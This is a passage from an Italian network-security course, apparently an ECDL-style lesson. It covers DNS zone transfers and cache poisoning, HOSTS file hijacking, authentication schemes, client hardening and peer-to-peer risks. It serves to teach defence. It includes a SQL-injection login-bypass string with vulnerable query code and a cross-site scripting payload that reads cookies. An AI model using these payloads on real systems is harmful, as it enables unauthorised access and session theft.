nomi e indirizzi, il che significa diffondere informazioni su-
gli indirizzi di una rete. Tuttavia, certe modalit di raccol-
ta delle informazioni si prestano a favorire attacchi, quindi
col tempo sono state eliminate. La prima lo Zone Transfer,
che consiste nel richiedere a un server lintera tabella del-
le associazioni nomi-IP di un dominio (detta Zona). Questo
tipo di richiesta, necessaria ai server secondari per essere
aggiornati dal server primario, pu essere utilizzata per
procurarsi ampie informazioni su una rete, il che per un
cracker significa minore necessit di analisi invasiva, che
potrebbe essere rilevata dagli strumenti di monitoraggio.
Per tale motivo, attualmente i server DNS devono essere
configurati in modo da eseguire uno Zone Transfer solo se
la richiesta viene da uno dei propri server secondari. Inol-
tre, certi tipi di record, come il tipo INFO, non sono pi uti-
lizzati (una trentina di tipi di record DNS sono descritti
presso www.zytrax.com/books/dns/ch8/). Un uso partico-
lare dello Zone Transfer, oggi diventato impraticabile, con-
sisteva nel richiedere periodicamente a nameserver dei top-
level domain (i domini di primo livello, come .com, .org, .net,
.it e decine di altri) lo Zone Transfer del loro dominio (di ba-
se, un elenco di record NS relativi alle deleghe). Confron-
tando il risultato con quello ottenuto qualche giorno prima,
si potevano identificare i domini appena attivati, spesso
non ancora completamente configurati dal punto di vista
della sicurezza e, quindi, pi facilmente attaccabili.
Per limitare lo Zone Transfer con i server BIND (il server
DNS pi utilizzato), si utilizza la direttiva allow-transfer nel
file di configurazione named.conf, che ha per argomento la
lista degli IP autorizzati a chiedere lo Zone Transfer.
Due esempi duso di allow-transfer nelle istruzioni zone
e options sono i seguenti:
options {
....
// ban everyone by default
allow-transfer {"none";};
};
zone "example.com" in{
....
// explicity allow the slave(s) in each zone
allow-transfer (192.168.0.3;);
};
Nel primo esempio non sono consentiti trasferimenti,
nel secondo solo lIP 192.168.0.3 pu chiedere uno Zone
Transfer.
Solitamente, i server DNS eseguono richieste ricorsive
per conto dei client. Tuttavia, un attaccante che voglia fa-
re delle richieste DNS alla ricerca dinformazioni, senza che
le richieste risultino provenienti dal suo indirizzo, potreb-
be richiedere la risoluzione ricorsiva a un server di un al-
tro dominio. Allo scopo di consentire richieste di risolu-
zione ricorsiva solo a un insieme di client (tipicamente
quelli della propria rete), si utilizza la direttiva allow-recur-
sion, che ha per argomento la lista degli indirizzi IP a cui
permesso fare tali richieste.
Cache poisoning
Dato che un server DNS mantiene in cache le risposte al-
le interrogazioni effettuate, per riutilizzarle in risposta a
query successive, riuscire a inserire dati contraffatti nella
cache di un server DNS pu consentire il dirottamento del
traffico destinato a un host, fornendo ad esempio lindiriz-
zo IP di un server controllato dallattaccante. Il termine che
indica lo sfruttamento delle vulnerabilit dei server DNS, in
modo da redirigere gli utenti verso diversi siti web, si chia-
ma pharming. Utilizza diverse tecniche, tra cui il DNS spoo-
fing, citato in una sezione precedente, e il DNS cache poi-
soning. Unottima guida in proposito The Pharming Gui-
de, www.ngssoftware.com/papers/ThePharmingGuide.
pdf.
Ad esempio, supponiamo che un server DNS chieda la ri-
soluzione inversa di un indirizzo IP al server
ns.attack.example.com, controllato dallattaccante. Questo
pu rispondere con un record NS che indica www.exam-
ple.net come server autorevole, e un glue record che asso-
cia a www.example.net lindirizzo IP del nameserver ns2.at-
tack.example.com, anchesso sotto il controllo dellattac-
cante; questo server fornir la risposta alla query iniziale.
In questo modo, il server che ha inviato la query inserisce
nella propria cache il record A, che associa il nome
www.example.net a un indirizzo IP dellattaccante; even-
tuali future richieste da quel dominio per accedere a
www.example.net verranno redirette verso tale indirizzo IP,
permettendo quindi attacchi di impersonazione o man-in-
the-middle.
Un altro esempio questo:
1. lattaccante interroga il DNS server per avere lindirizzo
IP di un host www.dellattaccante.com gestito da un na-
meserver che, come lhost, anchesso posseduto dal-
lattaccante;
2. il server DNS non ha in cache una voce per www.dellat-
tacante.com, e deve risolvere lindirizzo interrogando il
nameserver autorevole per il dominio dellattaccante.com
(il nameserver autorevole controllato dallattaccante);
3. il nameserver dellattaccante informa il server DNS che
lindirizzo IP di www.dellattaccante.com 200.1.1.10, e in
pi allega alcuni record di risoluzione contraffatti come
questi:
- www.mybank.comcorrisponde a 200.1.1.11
- mail.mybank.comcorrisponde a 200.1.1.11
- secure.mybank.comcorrisponde a 200.1.1.11
4. il server DNS risponde alla query originaria dellattac-
cante: lindirizzo IP di www.dellattaccante.com
200.1.1.10; questa informazione, pi i record aggiuntivi
che fan parte della risoluzione, sono salvati nella cache
del server per il tempo TTL assegnato;
5. pi tardi, un normale utente finale che usa lo stesso ser-
ver DNS cerca di collegarsi al sito www.mybank.com; il
browser chiede al server DNS qual lindirizzo IP di
www.mybank.com;
6. il server DNS corrotto (poisoned) risponde al browser
dellutente con il dato contraffatto che ha in cache -
200.1.1.11 - anzich con il vero indirizzo 150.10.1.21.
Questo un modo di dirottare gli utenti su un falso sito
web, che in certi casi quasi una copia esatta di quello au-
tentico, cos da non insospettire lutente quando immette
nome/password e rivela dati personali e numeri di carte di
credito. Per praticare questo tipo di attacco, in alternativa
alla manipolazione dei DNS, vengono anche utilizzati trojan
che modificano gli indirizzi IP delle pagine web aperte dal-
lutente quando lutente accede a determinati siti di cui lat-
taccante ha una copia contraffatta da lui controllata.
E insito nel meccanismo di delega del DNS il fatto che si
finisca per chiedere la risoluzione nomi/indirizzi, diretta o
inversa, a server sulla cui affidabilit, integrit e configu-
razione non si hanno garanzie. Sono allo studio diverse
evoluzioni del servizio DNS che tentano di ovviare al pro-
blema (il pharming un fenomeno in aumento); nel frat-
tempo, si dovrebbero aggiornare i server alle ultime ver-
sioni, che lasciano meno campo dazione agli attaccanti.
Oggi, per quanto siano possibili verifiche e controlli al fi-
ne di ridurre le vulnerabilit agli attacchi di tipo DNS, non
possibile impedire che, nelle opportune circostanze, gli
attacchi vengano praticati con successo. La conclusione
che, attualmente, il DNS non pu essere considerato un
meccanismo affidabile dal punto di vista della sicurezza;
dove le esigenze di sicurezza sono elevate, gli indirizzi IP
forniti dai nameserver dovebbero essere verificati con
meccanismi di autenticazione reciproca tra gli host.
Un dubbio frequente riguarda la probabilit dinviare ri-
chieste a un server DNS compromesso. Di fatto, per un at-
taccante facile stimolare questo tipo di traffico, infatti i
servizi eseguono generalmente una risoluzione inversa de-
gli indirizzi IP da cui provengono le connessioni (anche la
risoluzione inversa inaffidabile, e nei log di sistema deve
sempre essere presente anche lindirizzo IP). Allattaccan-
te basta eseguire una connessione dal proprio server DNS
al server web dellazienda colpita; il web server, per poter
includere il nome dellhost chiamante nel proprio log, ten-
ta una risoluzione inversa, mandando il proprio nameser-
ver a chiedere informazioni al server DNS dellattaccante.
Tecniche utili per evitare alcuni problemi
La prima il DoubleReverse Lookup (doppia ricerca in-
versa): quando si esegue una risoluzione inversa, che for-
nisce il nome associato a un indirizzo, si procede poi anche
alla risoluzione diretta del nome ottenuto; se lindirizzo IP
di partenza non compare nellelenco ottenuto in risposta (a
un nome spesso corrispondono pi indirizzi IP), allora vie-
ne segnalata unincoerenza. Questa tecnica utilizzata, ad
esempio, da TCPWrapper, uno strumento per il controllo
dei servizi Unix. Ci non evita, comunque, che la cache DNS
possa essere corrotta e, inoltre, un server DNS general-
mente non esegue questo controllo.
Unaltra possibilit consiste nel trattare in modo parti-
colare i glue record; quando un glue record viene fornito in-
sieme a un record NS, linformazione sullindirizzo IP viene
utilizzata solo in relazione al record NS, ma non viene sal-
vato lintero record A con lassociazione nome-indirizzo.
Tale tecnica utilizzata da alcuni server DNS, ma non ci si
deve aspettare che questa o altre tecniche impediscano
tutti i possibili attacchi.
Ci sono maggiori aspettative riguardo DNSSEC, uno
standard per le estensioni di sicurezza di DNS in fase di svi-
luppo, che prevede tra laltro la firma dei record. Cos fa-
cendo, un record A relativo a un certo nome potrebbe es-
sere prodotto solo da chi autorevole per quel dominio.
Un problema affine al cache poisoning la modifica dei
file di configurazione della risoluzione DNS su un host.
Un sistema, sia esso Unix (includendone le varianti) o
Windows, utilizza due informazioni principali per la risolu-
zione dei nomi:
1. un elenco di nameserver ai quali inviare la query;
2. un file HOSTS contenente un elenco di associazioni no-
me-indirizzo IP.
Nei sistemi Unix/Linux, l'ordine con cui consultare il file
o i DNS dato dal contenuto dei file /etc/host.conf e
/etc/nsswitch.conf, mentre in Windows il file HOSTS viene
esaminato per primo: se il nome o lindirizzo di cui si vuo-
le effettuare la risoluzione non si trova nel file, il sistema si
rivolge a un nameserver. Alcuni tipi di malware (codice ma-
ligno) per Windows modificano o inseriscono voci in tale fi-
le, allo scopo di dirottarre il traffico generato dal sistema
verso server controllati da chi ha distribuito il malware. Il
file HOSTS in Windows XP si trova nella cartella Win-
dows\System32\drivers\etc e, inizialmente, contiene solo
lassociazione tra localhost e 127.0.0.1, nome e indirizzo
convenzionali che indicano il computer locale.
Autenticazione
Perch i meccanismi di autenticazione in rete siano effi-
caci, devono essere scelti tenendo conto dei requisiti di si-
curezza e dellambiente in cui sono utilizzati, che determi-
na il grado di rischio e i tipi di attacchi da fronteggiare (per
una descrizione completa dei metodi e dei protocolli di au-
tenticazione, rimandiamo alla lezione 3). In particolare,
necessario valutare i rischi connessi:
1. alla connessione;
2. al sistema client;
3. al sistema server;
4. allutente;
5. a eventuali altri componenti, come autorit di certifica-
zione, server di autenticazione, ecc.
Per quanto riguarda lutente, la valutazione comprende
sia la sua capacit di utilizzare correttamente il meccani-
smo di autenticazione (un tipico problema la comples-
sit-riservatezza delle password, due requisiti in conflitto
spesso non tenuti in debita considerazione dallutente), sia
la possibilit che lutente smarrisca o ceda volontaria-
mente le proprie credenziali a terzi.
Il mezzo di autenticazione tuttora pi utilizzato, nono-
stante i suoi limiti, sono le password ripetibili (utilizzabili
pi volte). Si tratta di un meccanismo soggetto a essere at-
taccato in ogni fase dellautenticazione; un netto migliora-
mento pu essere ottenuto utilizzando meccanismi di pro-
tezione della connessione, come SSL/TLS.
Unaltra classe piuttosto diffusa quella dei meccanismi
di tipo challenge/response, in cui il server invia un numero
casuale (nonce) e il client risponde con un dato costruito in
base al nonce e alla password. In tal modo, si dimostra di
possedere la password senza inviarla in chiaro. Dato che il
meccanismo vulnerabile ad attacchi basati su vocabola-
rio, anche in questo caso la password deve essere adegua-
tamente complessa per ridurre il rischio. Meccanismi di au-
tenticazione di questo tipo sono, ad esempio, la Digest
Authentication di HTTP, lautenticazione Windows NTLM
(NT Lan Manager, il sistema di autenticazione di default
usato da Windows NT 4.0) o lautenticazione CHAP (Chal-
lenge Handshake Authentication Protocol), pi le evoluzioni
Un esempio di DNS
cache poisoning
HOSTS in Windows
5.7.3.6 Essere al
corrente dei comuni
schemi di
autenticazione e
delle rispettive
vulnerabilit.
MS-CHAP e MS-CHAPv2 (il pi sicuro della categoria), che
utilizzata tipicamente per connessioni dial-up (logon a di-
stanza via modem).
Salendo nel livello di sicurezza, troviamo i meccanismi
di autenticazione basati su sistemi a chiave pubblica/chia-
ve privata. Anchessi sono di tipo challenge/response, ma il
nonce viene elaborato con la chiave privata e verificato con
la chiave pubblica. Tali meccanismi sono decisamente pi
validi rispetto a quelli precedenti, e offrono il grosso van-
taggio che lanalisi del traffico di rete non rischia di com-
promettere le credenziali dellutente. Inoltre, il server co-
nosce solo la chiave pubblica (che usa per la verifica), quin-
di le stesse credenziali possono essere utilizzate con pi si-
stemi senza rischi dimpersonazione. Lo svantaggio prin-
cipale che una chiave privata troppo lunga e comples-
sa per essere memorizzata dallutente, quindi deve essere
salvata su un computer o su un dispositivo estraibile (co-
me Smart Card o chiave USB con memoria flash), dove
protetta da cifratura (almeno per il tempo della denuncia di
furto/smarrimento e per la disattivazione). Conservare la
chiave privata su una Smart Card pu richiedere un appo-
sito lettore (ma, nel caso dei computer portatili, si pu usa-
re un adattatore Smart Card PC Card) che ne riduce la
portabilit, ma ne aumenta la sicurezza: visto che lauten-
ticazione richiede il possesso della scheda (o chiave), pi
difficile che le credenziali siano sottratte allinsaputa del
proprietario. Occorre tener presente che le Smart Card, op-
pure gli analoghi dongle USB, non espongono la chiave pri-
vata, ma si limitano a usarla per eseguire funzioni di cifra-
tura: il PC trasmette (con una comunicazione seriale) alla
Smart Card la richiesta di cifratura, i dati da cifrare, la pa-
rola d'ordine digitata dal proprietario; la Smart Card ri-
sponde con un codice che indica errore oppure successo,
e poi con un flusso di bit corrispondenti ai dati cifrati. Pro-
tocolli come SSH, SSL/TLS, PGP e S/MIME fanno tutti uso si
autenticazione con chiave pubblica/privata.
Per quanto riguarda i sistemi di autenticazione biome-
trica, il loro utilizzo deve essere valutato con cura. In gene-
rale, il sensore e la comunicazione tra il sensore e il server
non sono sotto il controllo di chi esegue lautenticazione,
quindi pu venir meno il presupposto che i dati possano
provenire solo dalla persona che si vuole autenticare. Inol-
tre, mentre la scansione delliride o della retina sono rite-
nute affidabili per il riconoscimento e per la riservatezza
(almeno per il tracciato della retina), le impronte digitali
presentano troppi rischi di errore e furto per essere adot-
tate come unico criterio didentificazione al di fuori di un ri-
stretto perimetro di utenza (per di pi, gran parte dei di-
spositivi non verifica che il dito sia autentico, integro e
vivo).
Debolezze dei protocolli
La sicurezza e la qualit dei protocolli sono spesso tra-
scurate. E frequente che i protocolli che fanno uso di crit-
tografia risultino vulnerabili non per debolezza degli algo-
ritmi, ma per il modo in cui sono utilizzati allinterno della
comunicazione. A ci, si aggiungono le debolezze dovute al
modo in cui un protocollo implementato, che pu viola-
re alcuni dei presupposti su cui si basa la sicurezza del pro-
tocollo. Infine, luso che lutente fa degli strumenti a sua di-
sposizione pu vanificare le protezioni offerte; un esempio
offerto dai vari avvertimenti che un browser pu presen-
tare allutente in relazione alla validit dei certificati otte-
nuti da un sito. Se lutente non legge con attenzione i mes-
saggi, ma preme semplicemente OK o Avanti per continua-
re senza indugio, il meccanismo diventa inutile.
Un esempio di errore di realizzazione si avuto con
unimplementazione della codifica ASN.1 (Abstract Syntax
Notation One), che ha fatto s che un gran numero di server
SNMP fosse vulnerabile ad attacchi di tipo buffer overflow.
ASN.1 il linguaggio astratto con cui operare in un conte-
sto SNMP, e nel 2002 si diffuso un allarme negli USA (che
ha coinvolto i massimi livelli politici) per la vulnerabilit
della rete telefonica e delle centrali elettriche a fronte di ta-
le bug.
La ricerca, proseguita da un gruppo di sicurezza finlan-
dese, ha dimostrato la possibilit di causare un buffer over-
flow dichiarando false lunghezze dei dati, col risultato di
prendere il controllo sulla macchina.
La progettazione di protocolli sicuri non affatto ba-
nale, quindi preferibile utilizzare strumenti esistenti,
ampiamente diffusi e collaudati, piuttosto che realizzare
propri protocolli ad hoc, con il rischio di ripetere errori
gi vissuti. In base allesperienza, un protocollo non do-
vrebbe fare ipotesi sui dati che verranno ricevuti dalla re-
te; mentre legittimo progettare il comportamento cor-
retto del client e del server, non lecito supporre che i
dati ricevuti dalla rete seguano tale comportamento: chi
vuole attaccare il client o il server invier i dati di qua-
lunque formato e contenuto (anche con laiuto di softwa-
re apposito) per ottenere il suo scopo (crash, blocco, con-
trollo, intrusione).
Si trovano frequenti errori di questo tipo nelle applica-
zioni web che devono elaborare linput fornito dallutente
per costruire query SQL (Structured Query Language). Se
linput non viene verificato adeguatamente e non vengono
bloccati certi caratteri speciali (come gli apici), possibi-
le costruire query con una struttura diversa da quella pre-
vista, capaci di aggirare i meccanismi di autenticazione.
Come esempio, consideriamo unapplicazione in cui
lautenticazione avvenga verificando una tabella di coppie
username/password con una procedura del tipo:
Protocolli
challenge/response in
Windows
5.7.3.7 Essere
consci che debolezze
dei protocolli o
vulnerabilit nel
software possono
essere sfruttate per
attaccare un server
in rete.
Un avvertimento in
Windows
Query = SELECT Username FROM Users WHERE
Username = & strUsername & AND Password =
& strPassword &
strAuthCheck = GetQueryResult(SQLQuery)
If strAuthCheck = Then
boolAuthenticated = False
Else
boolAuthenticated = True
End If
Se possibile passare alla procedura come username e
password la stringa OR =, allora la query diventa SE-
LECT Username FROM Users WHERE Username = OR =
AND Password = OR = che sempre verificata.
Da notare che, per leggibilit, sono stati inseriti tra gli
apici spazi che nel codice effettivo sono assenti. Una
query di questo tipo ha comunque successo con il primo
record, garantendo laccesso allutente.
Un problema con qualche analogia quello del cross-si-
te scripting (XSS), una tecnica per cui unapplicazione web
raccoglie dati illecitamente da un utente. Consideriamo
unapplicazione web che presenta una pagina HTML che
contiene parte dei parametri che le sono stati passati, e un
client a cui viene proposta dallattaccante una pagina con-
tenente una richiesta del tipo
http//www.nomesito.dom/applicazione?variabile=<script>alert
(document.cookie);</script>
dove lo script una sequenza di istruzioni in uno dei lin-
guaggi di scripting disponibili, come JavaScript, VBScript,
ActiveX, HTML o Flash. Lo script viene inserito nella pagi-
na costruita dal server ed eseguito sul client, accedendo
di fatto ai cookie del client relativi a tale sito. Il cookie pu
essere, poi, utilizzato per costruire un URL ed essere tra-
smesso allattaccante. Dato che molti siti utilizzano i cookie
per lautenticazione, lattaccante ha cos accesso alle cre-
denziali del client. Inoltre, la pratica dellXSS pu creare di-
versi altri tipi di danni, come raccolta di dati, hijacking (se-
questro, ovvero uso al posto del proprietario) di un ac-
count, modifica delle impostazioni dellutente, furto/modi-
fica dei cookie, e falsa pubblicit. Ma sono possibili anche
Denial of Service e altri attacchi (per una descrizione com-
pleta degli attacchi buffer overflow, cross-site scripting e gli
attacchi tramite linguaggio SQL rimandiamo alla lezione 5).
Vulnerabilit dei client
Lultimo esempio mostra che non sempre gli attacchi so-
no destinati ai server. A volte i client sono bersagli altret-
tanto interessanti per svariati motivi:
1. sul sistema sono conservati dati interessanti o di valore;
2. il sistema utilizzato per accedere ad altri sistemi inte-
ressanti;
3. il sistema pu essere utilizzato per attaccare altri siste-
mi, nascondendo la vera origine dellattacco.
Inoltre, di solito un client (desktop, workstation o por-
tatile) gestito con minore cura di un server, ed meno at-
trezzato dal punto di vista della sicurezza. Anche le fun-
zioni di logging sono pi limitate rispetto a un server (Win-
dows, per esempio, per default non registra gli eventi di
protezione sui client). Una differenza apparente, che pu
far pensare che i client siano pi difficili da attaccare, il
fatto che un server ha servizi in attesa di essere contattati
(e quindi potenzialmente attaccati), mentre in un client lu-
tente decide quando e a cosa connettersi. Si tratta di ipo-
tesi errate. Nelle considerazioni che seguono, mettiamo
client e server sullo stesso piano, il che vero in molti ca-
si e semplifica lesposizione.
Un client ha di solito anchesso numerosi servizi attivi,
a meno che linstallazione sia stata volutamente ridotta a
una configurazione minima per scopi particolari. Un caso
tipico dato dalle workstation Windows che hanno attivi,
salvo casi particolari, quantomeno i servizi relativi a
SMB/CIFS (Server Message Block/Common Internet File Sy-
stem, il primo il protocollo Microsoft classico per la con-
divisione di risorse sulla rete, il secondo la versione aper-
ta, concepita per limpiego su Internet) per la condivisione
di file e stampanti in rete. Attacchi a questi servizi sono, in
effetti, comunemente praticati.
Un canale tra i pi efficaci, che permette di attaccare i
client, la posta elettronica, specialmente quando tale ser-
vizio integrato col browser oppure offra funzionalit ana-
loghe. Anche in questo caso il client pu essere raggiunto,
sia pure indirettamente, attraverso i messaggi di posta elet-
tronica. Luso di HTML o di alcune tipologie di contenuto
dei messaggi permette, poi, dindurre il programma a con-
nettersi ai siti scelti da chi ha inviato il messaggio, per
esempio per scaricare immagini. Attraverso tali connes-
sioni possono essere quindi attaccate le sue funzionalit le-
gate al protocollo HTTP e ai documenti ricevuti attraverso
di esso. I recenti client di posta di Microsoft aprono il con-
tenuto attivo (script) dei messaggi in HTML nella Restricted
Internet Zone, che disabilita il contenuto attivo a meno che
lutente non ne approvi lesecuzione. Un altra misura ac-
cettare solo messaggi in formato testo, che neutralizza il
codice maligno nei messaggi, ma non risolve la questione
degli allegati: quali accettare (da chi e di che tipo), e in qua-
li casi eccezionali eseguirli. Nelle ultime versioni di Win-
dows sono stati introdotti controlli che tendono a impedi-
re il download di file potenzialmente dannosi, sulla base
non solo del tipo di file dedotto dallestensione (.exe, .com.
.doc, .xls, e decine di altri con cui si pu montare un attac-
co), ma analizzando anche il contenuto del file stesso (neu-
tralizzando la contraffazione dellestensione). Quando gli
utenti hanno accesso a Internet, bloccare lHTML nella po-
sta un rimedio parziale; in Windows, esso pu essere af-
fiancato dalluso delle Group Policy (criteri di gruppo), del-
lInternet Explorer Administration Kit, o di altri tipi di filtro
che permettano di accedere solo ai siti approvati, ma al di
l di tutto questo essenziale leducazione e istruzione de-
gli utenti.
La differenza sostanziale tra client e server sta in chi ini-
zia la comunicazione; una volta stabilita la connessione,
non c una vera differenza concettuale tra i due lati. Come
un server pu essere attaccato da un client, anche un client
pu essere attaccato da un server, nonch da chiunque rie-
5.7.3.8 Essere
consci che la
potenziale
vulnerabilit dei client
pari a quella dei
server.
Elenco dei processi in
Linux
sca a interporsi tra i due. La facilit con cui si possono at-
taccare i client Windows dimostrata dalla frequenza e dal-
la diffusione con cui le varie tipologie di virus e worm (e re-
lativa installazione di trojan) hanno colpito negli ultimi an-
ni, tanto da motivare il Service Pack 2 di Windows XP al-
linsegna del miglioramento della sicurezza. Luso di un an-
tivirus efficace, tenuto costantemente aggiornato, permet-
te di proteggere il sistema e la posta da attacchi specifici,
ma non risolve il problema della vulnerabilit di un client
o di un computer in generale.
La configurazione e la gestione di una workstation do-
vrebbero, quindi, comprendere almeno questi punti fon-
damentali:
1. disattivazione dei servizi non utilizzati; una worksta-
tion dovrebbe utilizzare, in linea di massima, funzionalit
client (per esempio client di reti Microsoft) e non offrire
risorse in condivisione (se un PC con Windows 2000 o XP
funge da file server in una rete Windows, va trattato come
un server). Il comando netstat an permette di verificare su
quali porte il sistema in ascolto; nel caso di
NetBIOS/SMB/CIFS, la sola rilevazione delle porta non ba-
sta: occorre verificare nelle propriet TCP/IP della connes-
sione di rete che non siano installati protocolli o servizi non
necessari oltre a quelli di base (TCP/IP, client per reti Mi-
crosoft e condivisione di file e stampanti sulla LAN interna).
2. Verifica di quali servizi sono necessari, a partire dalla
consolle di configurazione dei servizi services.msc. Molti
servizi attivi per default possono essere disattivati se non
necessari (per esempio UPNP - Universal Plug and Play il
riconoscimento automatico delle risorse di rete da parte di
un PC o una periferica dotata di capacit di connessione au-
tonome, realizzato mediante limpiego di protocolli di rete
e protocolli Internet).
3. Aggiornamento del sistema e degli applicativi con le
patch di sicurezza. Questa funzione disponibile sia in Win-
dows, sia nelle distribuzioni di derivazione Unix, ma in
Windows che tale funzione stata ed tuttora vitale, vista
la frequenza con cui sono distribuite patch critiche per la
sicurezza. Il servizio Windows Update permette di eseguire
gli aggiornamenti manualmente o automaticamente, o di
scaricare il software automaticamente e di installarlo ma-
nualmente. Office Update non meno importante per la si-
curezza legata alle applicazioni di Microsoft Office, an-
chesse periodicamente raggruppate in Service Pack come
per Windows. Di fatto, le patch di sicurezza sono vitali an-
che per i server (Windows, Internet Information Server,
SQL Server, ecc.), ma gli amministratori dei server do-
vrebbero prima verificare, su sistemi di testing e non di pro-
duzione, che gli aggiornamenti non abbiano effetti collate-
rali che possano pregiudicare il funzionamento delle ap-
plicazioni, com avvenuto, sia pure entro limiti circoscrit-
ti, con entrambi i Service Pack di Windows XP.
4. Utilizzo di prodotti antivirus e antispyware, da tenere
costantemente aggiornati; la scelta dovrebbe essere orien-
tata su prodotti con frequente aggiornamento automatico,
efficaci nel rilevare diverse tipologie di attacco (inclusi i fi-
le compressi, gli allegati di posta, la posta uscente oltre che
entrante, ecc.). Parte di tale funzione pu essere integrata
nei firewall hardware (come servizio aggiuntivo su abbo-
namento); oppure firewall software, antivirus, antispyware
e antispam possono far parte dello stesso pacchetto
software (come, ad esempio, la ZoneAlarm Security Suite di
Zone Labs).
5. Utilizzo di un personal firewall, cio di un software per
uso personale installato su ogni computer (client) della re-
te. Windows XP ha introdotto un firewall nativo con alcune
funzioni di base, molto pi limitate rispetto ai personal fi-
rewall in commercio. Le distribuzioni Linux dispongono so-
litamente di firewall standard completamente programma-
bili per ottenere una protezione robusta e personalizzata.
Tuttavia, la loro attivazione non altrettanto critica come
in Windows. Per le installazioni Windows consigliabile
non accontentarsi del firewall interno o dei prodotti per-
sonali gratuiti. I personal firewall commerciali assicurano
un livello di protezione molto pi esteso e aggiornato, e il
controllo capillare di quali privilegi abbia ciascun pro-
gramma eseguibile.
A queste precauzioni bisogna aggiungere la configura-
zione delle applicazioni client, in particolare il web browser
e il programma di posta. Per esempio, dovrebbe essere evi-
tato, o regolamentato, luso di contenuto attivo allinterno
dei messaggi e lapertura di allegati di tipo o provenienza
non fidati.
Dove possibile, un utente non dovrebbe utilizzare un ac-
count con privilegi di amministratore. Per esempio, in Win-
dows si pu inserire un utente nel gruppo Power Users se il
normale Users fornisce privilegi insufficienti per le attivit
abituali. Minori sono i privilegi degli utenti, minori sono gli
effetti di un attacco o di comportamenti poco accorti.
La configurazione dei computer una questione di
equilibrio tra privilegi adeguati per la normale operativit
e restrizioni per ridurre le minacce alla sicurezza. Una vol-
ta che i sistemi siano a regime, lamministratore dovrebbe
essere cosciente dei rischi residui e, oltre a documentarli e
a contribuire al piano generale di sicurezza proponendo le
contromisure, dovrebbe sensibilizzare gli utenti sulla sicu-
rezza e sui comportamenti da tenere, per esempio sulluso
e custodia dei mezzi di autenticazione (incluse le pas-
sword) e sulle azioni corrette da compiere a fronte delle va-
rie circostanze che si possono presentare, come la segna-
lazione di certificati non corretti nel corso di connessioni
HTTPS e SSL/TLS.
Netstat permette di
vedere quali porte sono
in ascolto
Un personal firewall
commerciale permette di
stabilire i diritti di
accesso alla LAN e a
Internet da parte di
ciascun programma
Le reti peer-to-peer
Negli ultimi anni si diffuso lutilizzo di strumenti per la
condivisione di informazioni peer-to-peer (p2p), ovvero pa-
ritetiche da utente a utente. In un ambiente p2p, anzich
avere un server che fornisce dati ai client che ne fanno ri-
chiesta, ogni host funge sia da client sia da server, racco-
gliendo e distribuendo informazioni.
Inizialmente, i servizi peer-to-peer sono stati usati so-
prattutto per lo scambio di file soggetti a copyright (in par-
ticolare audio, video e software). Qui non ci occupiamo del-
le problematiche legali (sebbene siano un aspetto di sicu-
rezza per unazienda che abbia dei computer coinvolti in
questo tipo di attivit), bens degli aspetti tecnici legati al-
la sicurezza della rete.
Mentre le applicazioni che hanno decretato il successo
delle applicazioni p2p hanno suscitato le reazioni legali di
chi deteneva i copyright dei file, da qualche tempo viene ri-
conosciuta lutilit del p2p per altre applicazioni (legali).
Un esempio Bit Torrent, sistema p2p utilizzato anche da
alcune distribuzioni Linux per ridurre i costi di distribu-
zione in termini di server e di banda necessari. Perci, que-
ste tecnologie non possono pi essere liquidate come
strumenti per attivit illegali, ma devono essere controlla-
te per bloccare le attivit illegali e impedire che quelle legali
occupino una quota eccessiva delle risorse di connettivit
aziendale. Se i dipendenti installano applicazioni p2p, il ri-
schio che le aziende vedano un sensibile declino di pre-
stazioni e finiscano per sostenere il costo indesiderato del-
la distribuzione di file a terzi attraverso i propri host.
Gli aspetti principali degli attuali prodotti p2p possono
essere riassunti in queste categorie:
1. modalit di accesso a Internet;
2. condivisione delle informazioni locali;
3. problematiche legate alla licenza e al software.
Modalit di accesso a Internet
Le applicazioni p2p hanno dovuto superare parecchi
ostacoli per essere utilizzabili facilmente dagli utenti finali
nonostante le barriere dei firewall (sia quelli perimetrali e
di zona, sia quelli personali installati sui PC) e del proto-
collo di Network Address Translation, che nasconde lindi-
rizzo IP privato dellhost convertendolo nellindirizzo pub-
blico. Apparentemente, due host funzionanti sia da server,
sia da client avrebbero difficolt a trovarsi e a parlarsi, die-
tro le protezioni dei sistemi operativi e degli strumenti di si-
curezza. Il superamento di tali problemi ha portato a solu-
zioni estremamente ingegnose, anche tenendo conto del
fatto che luso di server centralizzati per la distribuzione
delle informazioni sui file e sui collegamenti disponibili, do-
po le disavventure di Napster, affrontato con molta cau-
tela. Sta di fatto che la diffusione delle reti p2p ha prose-
guito con successo, e ha portato a unevoluzione delle tec-
nologie p2p per aggirare (in qualche caso penetrare) ogni
nuova barriera. Le applicazioni p2p, oggi, usano non solo
porte fisse, ma anche porte dinamiche, che includono le
porte standard di base che non possono essere chiuse, pi
protocolli proprietari in modo da non farsi bloccare dai
normali firewall.
Sebbene i download p2p siano unattivit che appassio-
na e coinvolge ampie fasce di pubblico giovanile, essi rap-
presentano una minaccia per la sicurezza, una causa di dis-
servizio per molte aziende e universit, un fattore di costo
per le organizzazioni e un rischio di conseguenze legali, vi-
sto che gran parte dei download viola i diritti dautore.
Molti programmi trasferiti via p2p sfuggono ai controlli
a cui sono sottoposti gli allegati di posta. Servizi musicali
come Kazaa sono diventati noti come strumento di diffu-
sione di worm e virus (pi di 50 nel 2004). Nella maggior
parte dei casi, i worm agiscono da nodo p2p e si propaga-
no sotto le apparenze di un file richiesto, infettando altri
utenti che, insieme alla musica, ricevono trojan, worm e vi-
rus. I canali di chat e instant messaging sono anchessi in-
festati da simili parassiti, che trovano terreno fertile nei PC
privi delle difese di base: aggiornamenti del sistema ope-
rativo e delle applicazioni, firewall, antivirus evoluti (con
capacit di riconoscere e impedire i vari tipi di intrusione),
e antispyware (se non basta, ci sono altri strumenti).
Nelle universit americane, dove la maggior parte degli
studenti ha anche alloggio, il traffico p2p ha spesso messo
in ginocchio la rete, impedendone il traffico autorizzato. Un
esempio per tutti quello delluniversit della Florida, che
con lo sviluppo e installazione del sistema Icarus ha risol-
to radicalmente il problema, riconoscendo e bloccando il
traffico p2p illegale. Esistono in commercio diversi prodotti
che riconoscono il traffico p2p, analizzando i pacchetti al-
lo strato applicativo; alcuni esempi sono Packetshaper di
Packeteer, FTwall di P2Pwall, ProxySG di Blue Coat Sy-
stems. La stessa funzione inclusa nei firewall di fascia su-
periore, come FireWall-1 NG di Check Point. I firewall per
piccola-media azienda, come Safe@Office, sempre di Check
Point, bloccano il traffico p2p in base ai numeri di porta, il
che funziona tranne nei casi in cui lapplicazione trova al-
tre strade modificando i protocolli e i numeri di porta di de-
fault.
Anche gli strumenti di rilevazione delle intrusioni (In-
